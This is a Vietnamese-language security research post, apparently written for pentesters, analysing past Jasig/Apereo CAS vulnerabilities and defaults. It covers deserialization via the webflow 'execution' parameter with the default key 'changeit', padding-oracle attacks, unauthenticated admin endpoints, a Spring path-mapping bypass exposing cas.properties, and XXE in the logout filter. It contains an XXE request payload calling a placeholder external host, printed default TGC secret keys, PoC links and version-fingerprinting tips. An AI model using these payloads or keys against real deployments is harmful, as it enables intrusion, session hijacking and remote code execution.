Jasig CAS past vulnerabilities research
Preface
CAS là một ứng dụng Enterprise Single Sign-On open source khá phổ biến được sử dụng bởi nhiều doanh nghiệp lớn. CAS hỗ trợ nhiều giao thức xác thực như CAS (tương tự kerberos), SAML, Oauth, OpenID cũng như có tính tùy biến cao nên được nhiều bên lựa chọn.
CAS ban đầu được phát triển với tên Jasig CAS
có package name là org.jasig.cas nhưng từ 2012 thì Jasig hợp nhất với Sakai Foundation tạo nên Apereo Foundation. Từ đó CAS có tên Apereo CAS
và cũng đổi luôn package name thành org.apereo.cas từ version 5.0 và vẫn được tích cực maintain cho đến ngày nay. Dù Jasig CAS
EOL từ 2012 nhưng vẫn có một số library tiếp tục được maintain và sử dụng cho đến nay nên mình vẫn sẽ chia ra 2 tên / package như trên.
Bài viết này sẽ đi vào tìm hiểu CAS / một số lỗ hổng tiêu biểu trong quá khứ / quá trình sử dụng dụng mà có thể cấu hình sai nhắm giúp người đọc (và mình) có cái nhìn tổng quan khi pentest product này. CAS có release vulnerability disclosure blog tại đây tuy nhiên các lỗ hổng ít khi được đánh CVE gây khó khăn trong quá trình theo dõi.
cas - 4.1.x~4.1.6 deserialization vulnerability (exploiting default key)
- advisory: https://apereo.github.io/2016/04/08/commonsvulndisc/
- version:
4.1.x~4.1.6
CAS utilize spring-webflow
để quản lý luồng xác thực của ứng dụng. Từ version 4.1.0 CAS dùng spring-webflow-client-repo để custom lại webflow chuyển giá trị webflow conversaional state từ lưu ở server về lưu ở client dưới dạng 1 parameter tên là execution
. Để dễ hiểu thì giá trị này như là viewstate trong ASP.NET
lưu trữ serialized object và cũng tương tự ASP.NET thì spring-webflow-client
có thực hiện encrypt serialized object này để tránh bị sửa đổi.
Class org.jasig.spring.webflow.plugin.EncryptedTranscoder
nhận nhiệm vụ này với method .encode()
gọi .writeObject()
và encrypt outputStream:
Method .decode()
decrypt inputStream và gọi .readObject()
:
Vấn đề là khi khởi tạo CipherBean
là BufferedBlockCipherBean
với thuật toán AES mã hóa đối xứng xài default key là changeit
:
Hơn cả CAS thường được cài đặt dưới dạng WAR Overlay với configuration default EncryptedTranscoder
vẫn dùng BufferedBlockCipherBean
default key này:
Giá trị cas.webflow
trên thường sẽ được set ở file cas.properties
và mặc định thì nó cũng không được set :D. Vậy chốt lại thì ứng dụng nào xài default configuration của CAS mà không set lại webfow key thì có thể dùng default key changeit
để encrypt và exploit deserialize qua webflow state.
Giá trị của parameter execution
sẽ có dạng [UUID]_[BASE64-AES-serialized-object]
:
Luồng gọi đến sink EncryptedTranscoder.decode()
cũng không có gì hay ho, các factory, repository tương ứng được cấu hình ở cas-servlet.xml rồi, sau đây là call stack:
FlowHandlerAdapter.handle()
FlowExecutorImpl.resumeExecution()
ClientFlowExecutionRepository.getFlowExecution()
EncryptedTranscoder.decode()
AbstractCipherBean.decrypt()
ObjectInputStream.readObject()
PoC URLDNS chain, phần encrypt thì cứ lấy luôn method encode()
của thằng EncryptedTranscoder
là được: https://gist.github.com/devme4f/177fcc11685a50b72aed0a1efd4d0fbe
.
Ngoài webflow key được set default thì TGC secret key cũng được set default tại cas.properties
, dùng key này có thể sign ticket mong muốn:
tgc.encryption.key=1PbwSbnHeinpkZOSZjuSJ8yYpUrInm5aaV18J2Ar4rM
tgc.signing.key=szxK-5_eJjs-aUj-64MpUZ-GPPzGLhYPLGl0wrYjYNVAGva2P0lLe6UGKGM7k8dWxsOVGutZWgvmY3l5oVPO3w
cas - 4.1.7~4.2.x deserialization vulnerability (need to know encryption key and signature key)
Bản fix 4.1.7
EncryptedTranscoder
không còn dùng BufferedBlockCipherBean
với defautl key nữa mà dùng CasWebflowCipherBean
không set default key:
Nếu vẫn dùng configuration này mà không set webflow key, CAS sẽ tự generate random secret key, có thể thấy ở CAS log:
Nên trong trường hợp có được cặp webflow key này, ta lại có thể exploit deserialization.
PoC 4.1.7~4.2.x
: https://gist.github.com/devme4f/707bed738d82ae57212a0ddaf2ccfe86
Request:
Received:
cas - 4.x~4.1.6 Padding Oracle CBC deserialization vulnerability
Trong trường hợp đã tự set encryption key, vẫn có thể tấn công deserialize qua Padding Oracle CBC do BufferedBlockCipherBean
dùng thuật toán AES-CBC, mình up lại ảnh:
Về phần này mình sẽ viết một bài riêng để tránh bài quá dài, về poc có thể tham khảo script sau: https://github.com/threedr3am/learnjavabug/tree/master/cas/CAS4PaddingOracleCBC
Script thực hiện tấn công padding oracle để encrypt lại serialized object, bản chất padding oracle vẫn là brute force từng ký tự trong khối do đó nếu payload quá lớn sẽ tốn rất nhiều tài nguyên nên như PoC trên payload sẽ deserialize qua JRMP để hạn chế độ dài phải encrypt.
cas >= 4.1.7
Như đã đề cập, bản fix không còn dùng BufferedBlockCipherBean
mà là CasWebflowCipherBean
-> BinaryCipherExecutor
:
BinaryCipherExecutor#decode()
dùng org.apache.shiro.crypto.AesCipherService
(line 72) thuộc lib shiro-core
để implement encryption và mặc định vẫn sử dụng thuật toán AES-CBC:
Nhưng khác với BufferedBlockCipherBean
, method này trước khi thực hiện AES-CBC decrypt ciphertext sẽ thực hiện verifySignature()
như ảnh trên với HMAC-SHA512 để kiểm tra tính toàn vẹn của ciphertext, nếu bị sửa đổi thì trả về null
do đó không thực hiện decrypt nên không thể sửa đổi ciphertext để tấn công padding oracle:
cas 4.2.x~4.2.5 administrative endpoints exposed
- advisory: https://apereo.github.io/2016/10/24/servlvulndisc/
- fixed:
4.2.6
Exposure endpoints:
/statistics/ping
/statistics/threads
/statistics/metrics
/statistics/healthcheck
/statistics/ssosessions
/statistics/ssosessions/**
Lỗ hổng cho phép truy cập các administrative endpoints như phía trên không cần xác thực (mình chưa poc đc /statistics/ssosessions
):
Bản fix 4.2.6
xóa các endpoints trên ở file web.xml
:
Thêm lại mapping vào bean handlerMappingC
- SimpleUrlHandlerMapping
thuộc file applicationContext.xml
:
Từ đó các endpoints này thay vì được tomcat mapping trực tiếp đến các servlets thì sẽ được mapping bởi org.springframework.web.servlet.DispatcherServlet
của spring.
Do tại securityContext.xml
config của spring có RequiresAuthenticationInterceptor
được cấu hình để validate liệu các endpoints /status/**"
hay /statistics/**
có được truy cập từ địa chỉ của admin/loopback 127.0.0.1
:
Nên các endpoints ở bản < 4.2.6
exposure do không đi qua DispatcherServlet
của spring nên cũng không đi qua interceptor trên.
Điều này dấn đến 2 trường hợp misconfiguration khác:
- Nếu CAS đứng sau một reverse proxy cùng chạy trên 1 server thì khi request được forward sẽ đều mang địa chỉ loopback –> exposure
- Nếu dev cấu hình các administrative endpoints mapping bởi tomcat (ex: servlet web.xml) thay vì spring –> exposure
bonus easy RCE
Tại file viewConfig.js
có khai báo endpoint /cas/status/config/getProperties
:
Dù không được đề cập ở advisory trên nhưng endpoint này có thể truy cập unauth và trả về toàn bộ file cấu hình cas.properties
- có thể RCE với webflow key trong file trên!
(lab demo chưa cấu hình gì)
package org.jasig.cas.web.report;
// .....
@Controller("internalConfigController")
public final class InternalConfigStateController {
private static final String VIEW_CONFIG = "monitoring/viewConfig";
@Autowired
private ApplicationContext applicationContext;
@Autowired(
required = true
)
@Qualifier("casProperties")
private Properties casProperties;
public InternalConfigStateController() {
}
@RequestMapping(
method = {RequestMethod.GET},
value = {"/status/config"}
)
protected ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
return new ModelAndView("monitoring/viewConfig");
}
@RequestMapping(
value = {"/getProperties"},
method = {RequestMethod.GET}
)
@ResponseBody
protected Set<Map.Entry<Object, Object>> getProperties() {
return this.casProperties.entrySet();
}
}
Nhìn qua mình chưa hiểu nguyên nhân tại sao có thể truy cập unauth do trong web.xml
chỉ có cấu hình trỏ đến /status/config/*
, không thấy mapping /getProperties
.
Tiến hành debug, /status/config/getProperties
sẽ mapping bởi DispatcherServlet#getHandler()
, tiếp đến tìm method handler qua AbstractHandlerMethodMapping#getHandlerInternal()
, tại đây lookupPath
trả về /getProperties
:
Nguyên nhân do UrlPathHelper.alwaysUseFullPath=false
(default của spring):
Để hiểu đơn giản: map /servletPath/*
/app/servletPath/pathInfo --> /pathInfo # alwaysUseFullPath=false
/app/servletPath/pathInfo --> /servletPath/pathInfo # alwaysUseFullPath=true
Spring sẽ dùng lookupPath
trên để tìm handler method tương ứng như ở ảnh trên (line 169) và tìm được InternalConfigStateController#getProperties()
Có được handler method sẽ tìm tiếp các interceptors tương ứng và spring vẫn dùng lookupPath
với alwaysUseFullPath=false
, do đó regex check servletPath /status/**
và /statistics/**
trở nên vô dụng:
Nhờ đó bypass được RequiresAuthenticationInterceptor
và gọi /getProperties
trả về toàn bộ cấu hình file cas.properties
:D
Lỗi mapping tương tự trên stackoverflow: https://stackoverflow.com/questions/40162345/spring-mvc-servlet-url-does-not-map-correctly
Spring document Path Matching cũng đã đề cập đến vấn đề này: https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-servlet/handlermapping-path.html
Bản fix 4.2.6
set UrlPathHelper.alwaysUseFullPath=true
để lookupPath
của spring giống với cấu hình servlet.
Request:
Họ cũng đặt lại thành full path là /status/config/getProperties
a critical vulnerability
Vậy cas < 4.2.6
có thể lợi dụng các mapping /servletPath/*
để gọi đến handler method bất kỳ mong muốn trừ /status/**
, /statistics/**
, ví dụ /getSsoSessions
(trả về toàn bộ active sessions trên CAS -> session hijacking) không hề được cấu hình sử dụng:
(lab test nên không data)
Với /v1/*
:
Các default endpoints có thể lợi dụng:
/statistics/ssosessions/*
/status/config/*
/v1/*
Spring Web flow Data Binding Expression Vulnerability
Product version cũ tương ứng với các thư viện sử dụng đi kèm cũng là đồ cũ, thư viện tồn tại CVE thì chính product cũng dính theo, với CAS thư viện chính được sử dụng trong xác thực là spring web flow tồn tại một số CVE khá nghiêm trọng như SpEL Injection. Theo mình test thì để exploit được dù phụ thuộc cấu hình mà mình deploy nhưng khả năng dính của Jasig CAS cao hơn cả khi default không set UseSpringBeanBinding=true
.
2 CVE:
- CVE-2017-8039: Data Binding Expression Vulnerability in Spring Web Flow
- CVE-2017-4971: Data Binding Expression Vulnerability in Spring Web Flow
Mình cũng đã có bài viết các lỗ hổng về thư viện này, tham khảo: Spring Web Flow past vulnerabilities research
cas-client-core - (3.1.11,3.6.0] xml external entity injection
- library:
cas-client-core
- dùng logout filter:
org.jasig.cas.client.session.SingleSignOutFilter
- advisory: https://security.snyk.io/vuln/SNYK-JAVA-ORGJASIGCASCLIENT-31192
analysis
Follow pull request biết sink tại cas-client-core/src/main/java/org/jasig/cas/client/util/XmlUtils.java
nhận thấy method khởi tạo xml parser đã được set thêm các security features
Có 2 method sử dụng getXmlReader()
để parse xml là getTextForElements()/getTextForElement()
mà arguments là string xml sẽ được parse trực tiếp bởi vulnerable parser:
Với cả 2 methods, sau một hồi ngồi find usage mình tìm được chain sau sẽ có thể khải thác được khi mặc định sử dụng SingleSignOutFilter
logout filter của CAS.
Đầu tiên handler SingleSignOutHandler
nhận parse xml parameter logoutRequest
, xml cần có element SessionIndex
:
Tại handler method process()
sẽ gọi đến hàm này, để vào vòng if như ảnh
chỉ cần method POST + có parameter logoutRequest
:
Và cuối cùng đơn giản SingleSignOutFilter#doFilter()
sẽ gọi đến handler này:
Call Stack:
SingleSignOutFilter.doFilter()
AbstractConfigurationFilter.destroySession()
XmlUtils.getTextForElement()
XMLReader.parse()
POC
POST /cas_client/logout HTTP/1.1
Host: cas_client
Content-Type: application/x-www-form-urlencoded
logoutRequest=<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'http://<ssrf>'>]><SessionIndex>&test;</SessionIndex>
Request:
Dns Query:
refs
- apereo cas pull request: https://github.com/apereo/java-cas-client/pull/318/files
- java cas client example: https://github.com/apereo/cas-sample-java-webapp
bonus
cas version detect
-
cas <= 3.x | cas >= 5.x
do version này không dùngspring-webflow-client
, parameterexecution
không có uuid…: -
cas <= 4.1.6
ciphertext cóheaderBytes
là[0, 0, 0, 34, 0, 0, 0, 16,.....
–> sau base64 encode làAAAAI....
: -
cas >= 4.1.7
ciphertext sẽ có dạng một jws token được encode base64 với phần payload_token chứa serialized object: (base64 decode 2 lần) -
cas <= 4.2.4
:
refs
- vulnerability disclosure blog: https://apereo.github.io/tags/#CAS